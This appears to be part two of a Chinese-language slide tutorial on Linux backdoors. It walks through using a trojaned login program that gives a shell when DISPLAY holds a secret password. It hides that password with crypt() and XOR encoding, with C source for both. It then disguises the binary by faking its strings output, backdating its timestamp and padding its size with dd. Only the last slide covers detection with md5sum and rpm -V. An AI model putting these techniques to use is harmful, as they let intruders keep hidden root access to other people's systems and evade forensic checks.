Linux系统后门技术详解及实践（二）

利用后门登录 

  首先Telnet服务是打开的，在自己机器上： 
  bash$Content$nbsp;export DISPLAY=passWORD 
  bash$Content$nbsp;telnet victim.com 
  Trying xxx.xxx.xxx.xxx... 
  Connected to victim.com (xxx.xxx.xxx.xxx). 
  Escape character is ’^]’. 
  % _ 

strings命令 

    strings命令能够打印出二进制文件中的可显示 
    字符串，用于刚才的ulogin程序： 
    bash$Content$nbsp;strings ulogin 
    /lib/ld-linux.so.2 
    .............. 
    DISPLAY 
    /sbin/logins 
    passWORD 
    /bin/csh 

加密后门密码（1） 

  1，采用DES算法，即crypt( )函数，编写gen.c程序： 
  #include <unistd.h> 
  main(int argc, char *argv[]) 
  { 
      if (argc != 3) { 
        printf("usage: %s <password> <salt>\n", argv[0]); 
        exit(1); 
     } 
      printf("%s\n", crypt(argv[1], argv[2])); 
  } 

加密后门密码（1） 

  2、编译为gen，执行./gen hack ui，得到的shadow结 
  果为UiVqMWvDrIQjA。 
  3、修改后门源程序ulogin.c： 
  -- 以密文形式的密码代替ulogin.c中define的宏 
PASSWORD值。 
  -- 如果后门密码正确，直接给出Shell： 
  if (!strcmp(PASSWORD, crypt(display,PASSWORD))) 
  { 
       system(SHELL); 
       exit(1); 
  } 
  用strings命令只能看到加密过的密码。 

加密后门密码（2） 

  采用异或（XOR）算法 
  以十六进制方式表示字符串，以达到non- 
  printable的效果 
  1、编码程序encode.c如下： 

加密后门密码（2） 

  char magic[]="\x71\x67\x6d\x7a\x65\x61\x7a"; 
  char *de(char *str,char *key) 
  { 
  int i=0,j=0,len; 
  len=strlen(key); 
  while(str[i] != ’\0’) { 
  str[i]^=key[j]; 
  j++; 
  if(j==len) j=0; 
  i++; 
  } 
  return str; 
  } 
  void display(char *str) 
  { 
  int i; 
  for(i=0;i<strlen(str);i++) printf("\\x%x",str[i]); 
  printf("\n"); 
  } 
  main() 
  { 
  char gets[100], *ptr; 
  ptr=gets; 
  scanf ("%s",ptr); 
  de(ptr,magic);display(ptr); 
  } 

加密后门密码（2） 

  2、编译程序encode，依次执行得到关键字符 
  串与magic串异或后的结果，例如原始login的文 
  件名/sbin/xlogin，经过异或后为： 
  \x5e\x14\xf\x13\xb\x4e\x2\x1d\x8\xa\x13\xb 
  3、在后门源代码中这样定义： 
  Char 
  login[]="\x5e\x14\xf\x13\xb\x4e\x2\x1d\x8\xa\x 
  13\xb"; 
  然后插入异或函数char *de（）结合同一magic 
  串，就能判断出正确的后门密码。 
  用strings命令看不到密码、路径等字符串了。 

最后的修饰（1） 

  使后门程序ulogin的strings输出类似于正 
  常login的strings输出，做法为： 
  在ulogin.c代码中增加一个字符串数组 
  char strings[] ="";，在引号中填入正常 
  login程序的strings输出结果。 
  以假乱真，增加迷惑性。 

最后的修饰（2） 

  调整后门程序的文件日期、大小等属性： 
  1、日期 
  # ls -l /sbin/xlogin 
  -r-sr-xr-x root root 19300 Feb 11 1998 
  /sbin/xlogin 
  # touch -t 199802110000 ulogin 
  # _ 

最后的修饰（2） 

  2、调整大小 
  # ls -l ulogin /sbin/xlogin 
  -r-sr-xr-x root root 7542 Feb 11 1998 ulogin 
  -r-sr-xr-x root root 19300 Feb 11 1998 /sbin/xlogin 
  # bc 
  19300-7542 
  11758 
  # dd if=/sbin/xlogin of=/tmp/t bs=11758 count=1 
  1+0 records in 
  1+0 records out 
  11758 bytes transferred in 0.000379 secs (31016746 
  bytes/sec) 
  # cat /tmp/t >> ulogin 

Login后门的检测 

  使用命令md5sum对现有/bin/login文件作 
  校验，与以前的值作比较。 
  使用Red Hat Linux的RPM校验： 
  # rpm -V util-linux 
  在入侵者已经利用后门登录的情况下， 
  who是看不到用户的，查看系统进程，查 
  找login -h xxx.xxx.xxx.xxx的字样。